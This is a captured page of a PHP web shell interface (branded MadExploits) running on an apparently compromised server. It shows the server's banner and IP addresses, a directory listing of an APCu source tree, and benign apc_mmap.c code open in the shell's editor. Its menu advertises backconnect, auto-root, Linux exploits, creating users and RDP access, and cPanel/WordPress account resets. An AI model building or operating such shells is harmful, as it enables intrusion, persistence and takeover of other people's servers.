Linux server.kiran-academy.com 3.10.0-1160.108.1.el7.x86_64 #1 SMP Thu Jan 25 16:17:31 UTC 2024 x86_64
Apache/2.4.57 (Unix) OpenSSL/1.0.2k-fips
: 194.233.91.196 | : 216.73.216.172
Cant Read [ /etc/named.conf ]
7.4.32
finalho
www.github.com/MadExploits
Terminal
AUTO ROOT
Adminer
Backdoor Destroyer
Linux Exploit
Lock Shell
Lock File
Create User
CREATE RDP
PHP Mailer
BACKCONNECT
UNLOCK SHELL
HASH IDENTIFIER
CPANEL RESET
CREATE WP USER
README
+ Create Folder
+ Create File
/
usr /
local /
src /
apcu-5.1.19 /
[ HOME SHELL ]
Name
Size
Permission
Action
.libs
[ DIR ]
drwxr-xr-x
autom4te.cache
[ DIR ]
drwxr-xr-x
build
[ DIR ]
drwxr-xr-x
include
[ DIR ]
drwxr-xr-x
modules
[ DIR ]
drwxr-xr-x
tests
[ DIR ]
drwxr-xr-x
INSTALL
13.63
KB
-rw-rw-r--
LICENSE
3.14
KB
-rw-rw-r--
Makefile
13.36
KB
-rw-r--r--
Makefile.frag
270
B
-rw-rw-r--
Makefile.fragments
0
B
-rw-r--r--
Makefile.objects
4.18
KB
-rw-r--r--
NOTICE
1.7
KB
-rw-rw-r--
README.md
1.47
KB
-rw-rw-r--
TECHNOTES.txt
13.04
KB
-rw-rw-r--
apc.c
4.33
KB
-rw-rw-r--
apc.dep
5.33
KB
-rw-r--r--
apc.h
6.09
KB
-rw-rw-r--
apc.lo
297
B
-rw-r--r--
apc.php
37.09
KB
-rw-rw-r--
apc_api.h
1.24
KB
-rw-rw-r--
apc_arginfo.h
113
B
-rw-rw-r--
apc_cache.c
31.24
KB
-rw-rw-r--
apc_cache.dep
6.14
KB
-rw-r--r--
apc_cache.h
1.92
KB
-rw-rw-r--
apc_cache.lo
309
B
-rw-r--r--
apc_cache_api.h
11.85
KB
-rw-rw-r--
apc_globals.h
3.55
KB
-rw-rw-r--
apc_iterator.c
15.88
KB
-rw-rw-r--
apc_iterator.dep
6.29
KB
-rw-r--r--
apc_iterator.h
3.79
KB
-rw-rw-r--
apc_iterator.lo
315
B
-rw-r--r--
apc_iterator.stub.php
753
B
-rw-rw-r--
apc_iterator_arginfo.h
2.29
KB
-rw-rw-r--
apc_iterator_legacy_arginfo.h
2.11
KB
-rw-rw-r--
apc_lock.c
7.1
KB
-rw-rw-r--
apc_lock.dep
5.09
KB
-rw-r--r--
apc_lock.h
1.27
KB
-rw-rw-r--
apc_lock.lo
307
B
-rw-r--r--
apc_lock_api.h
4.54
KB
-rw-rw-r--
apc_mmap.c
4.26
KB
-rw-rw-r--
apc_mmap.dep
5.22
KB
-rw-r--r--
apc_mmap.h
1.94
KB
-rw-rw-r--
apc_mmap.lo
307
B
-rw-r--r--
apc_mutex.c
2.24
KB
-rw-rw-r--
apc_mutex.dep
5.05
KB
-rw-r--r--
apc_mutex.h
2.25
KB
-rw-rw-r--
apc_mutex.lo
309
B
-rw-r--r--
apc_persist.c
17.47
KB
-rw-rw-r--
apc_persist.dep
5.27
KB
-rw-r--r--
apc_persist.lo
313
B
-rw-r--r--
apc_php.h
2.79
KB
-rw-rw-r--
apc_serializer.h
2.96
KB
-rw-rw-r--
apc_shm.c
3.57
KB
-rw-rw-r--
apc_shm.dep
5.13
KB
-rw-r--r--
apc_shm.h
2.04
KB
-rw-rw-r--
apc_shm.lo
305
B
-rw-r--r--
apc_signal.c
6.68
KB
-rw-rw-r--
apc_signal.dep
5.6
KB
-rw-r--r--
apc_signal.h
1.8
KB
-rw-rw-r--
apc_signal.lo
311
B
-rw-r--r--
apc_sma.c
16.45
KB
-rw-rw-r--
apc_sma.dep
5.46
KB
-rw-r--r--
apc_sma.h
1.75
KB
-rw-rw-r--
apc_sma.lo
305
B
-rw-r--r--
apc_sma_api.h
5.48
KB
-rw-rw-r--
apc_stack.c
2.9
KB
-rw-rw-r--
apc_stack.dep
5.05
KB
-rw-r--r--
apc_stack.h
2.22
KB
-rw-rw-r--
apc_stack.lo
309
B
-rw-r--r--
apc_strings.h
1.45
KB
-rw-rw-r--
apc_windows_srwlock_kernel.c
1.93
KB
-rw-rw-r--
apc_windows_srwlock_kernel.h
1.8
KB
-rw-rw-r--
apcu.la
780
B
-rw-r--r--
config.h
2.03
KB
-rw-r--r--
config.h.in
1.89
KB
-rw-r--r--
config.log
23.11
KB
-rw-r--r--
config.m4
9.39
KB
-rw-rw-r--
config.nice
190
B
-rwxr-xr-x
config.status
21
KB
-rwxr-xr-x
config.w32
1.06
KB
-rw-rw-r--
configure
448.17
KB
-rwxr-xr-x
configure.ac
5.17
KB
-rw-r--r--
libtool
205.98
KB
-rwxr-xr-x
php74_shim.h
4.19
KB
-rw-rw-r--
php_apc.c
21.39
KB
-rw-rw-r--
php_apc.dep
6.93
KB
-rw-r--r--
php_apc.h
2.23
KB
-rw-rw-r--
php_apc.lo
305
B
-rw-r--r--
php_apc.stub.php
1.23
KB
-rw-rw-r--
php_apc_arginfo.h
3.71
KB
-rw-rw-r--
php_apc_legacy_arginfo.h
2.91
KB
-rw-rw-r--
run-tests.php
139.39
KB
-rw-r--r--
Delete
Unzip
Zip
${this.title}
Close
Code Editor : apc_mmap.c
/* +----------------------------------------------------------------------+ | APC | +----------------------------------------------------------------------+ | Copyright (c) 2006-2011 The PHP Group | +----------------------------------------------------------------------+ | This source file is subject to version 3.01 of the PHP license, | | that is bundled with this package in the file LICENSE, and is | | available through the world-wide-web at the following url: | | http://www.php.net/license/3_01.txt | | If you did not receive a copy of the PHP license and are unable to | | obtain it through the world-wide-web, please send a note to | | license@php.net so we can mail you a copy immediately. | +----------------------------------------------------------------------+ | Authors: Rasmus Lerdorf <rasmus@php.net> | +----------------------------------------------------------------------+ This software was contributed to PHP by Community Connect Inc. in 2002 and revised in 2005 by Yahoo! Inc. to add support for PHP 5.1. Future revisions and derivatives of this source code must acknowledge Community Connect Inc. as the original contributor of this module by leaving this note intact in the source code. All other licensing and usage conditions are those of the PHP Group. */ #include "apc.h" #include "apc_mmap.h" #include "apc_lock.h" #if APC_MMAP #include <fcntl.h> #include <sys/types.h> #include <sys/mman.h> /* * Some operating systems (like FreeBSD) have a MAP_NOSYNC flag that * tells whatever update daemons might be running to not flush dirty * vm pages to disk unless absolutely necessary. My guess is that * most systems that don't have this probably default to only synching * to disk when absolutely necessary. */ #ifndef MAP_NOSYNC #define MAP_NOSYNC 0 #endif /* support for systems where MAP_ANONYMOUS is defined but not MAP_ANON, ie: HP-UX bug #14615 */ #if !defined(MAP_ANON) && defined(MAP_ANONYMOUS) # define MAP_ANON MAP_ANONYMOUS #endif apc_segment_t apc_mmap(char *file_mask, size_t size) { apc_segment_t segment; int fd = -1; int flags = MAP_SHARED | MAP_NOSYNC; #ifdef APC_MEMPROTECT int remap = 1; #endif /* If no filename was provided, do an anonymous mmap */ if(!file_mask || (file_mask && !strlen(file_mask))) { #if !defined(MAP_ANON) zend_error_noreturn(E_CORE_ERROR, "Anonymous mmap does not appear to be available on this system (MAP_ANON/MAP_ANONYMOUS). Please see the apc.mmap_file_mask INI option."); #else fd = -1; flags = MAP_SHARED | MAP_ANON; #ifdef APC_MEMPROTECT remap = 0; #endif #endif } else if(!strcmp(file_mask,"/dev/zero")) { fd = open("/dev/zero", O_RDWR, S_IRUSR | S_IWUSR); if(fd == -1) { zend_error_noreturn(E_CORE_ERROR, "apc_mmap: open on /dev/zero failed"); } #ifdef APC_MEMPROTECT remap = 0; /* cannot remap */ #endif } else { /* * Otherwise we do a normal filesystem mmap */ fd = mkstemp(file_mask); if(fd == -1) { zend_error_noreturn(E_CORE_ERROR, "apc_mmap: mkstemp on %s failed", file_mask); } if (ftruncate(fd, size) < 0) { close(fd); unlink(file_mask); zend_error_noreturn(E_CORE_ERROR, "apc_mmap: ftruncate failed"); } unlink(file_mask); } segment.shmaddr = (void *)mmap(NULL, size, PROT_READ | PROT_WRITE, flags, fd, 0); segment.size = size; #ifdef APC_MEMPROTECT if(remap) { segment.roaddr = (void *)mmap(NULL, size, PROT_READ, flags, fd, 0); } else { segment.roaddr = NULL; } #endif if ((long)segment.shmaddr == -1) { zend_error_noreturn(E_CORE_ERROR, "apc_mmap: Failed to mmap %zu bytes. Is your apc.shm_size too large?", size); } if (fd != -1) close(fd); return segment; } void apc_unmap(apc_segment_t *segment) { if (munmap(segment->shmaddr, segment->size) < 0) { apc_warning("apc_unmap: munmap failed"); } #ifdef APC_MEMPROTECT if (segment->roaddr && munmap(segment->roaddr, segment->size) < 0) { apc_warning("apc_unmap: munmap failed"); } #endif } #endif /* * Local variables: * tab-width: 4 * c-basic-offset: 4 * End: * vim>600: noexpandtab sw=4 ts=4 sts=4 fdm=marker * vim<600: noexpandtab sw=4 ts=4 sts=4 */
Close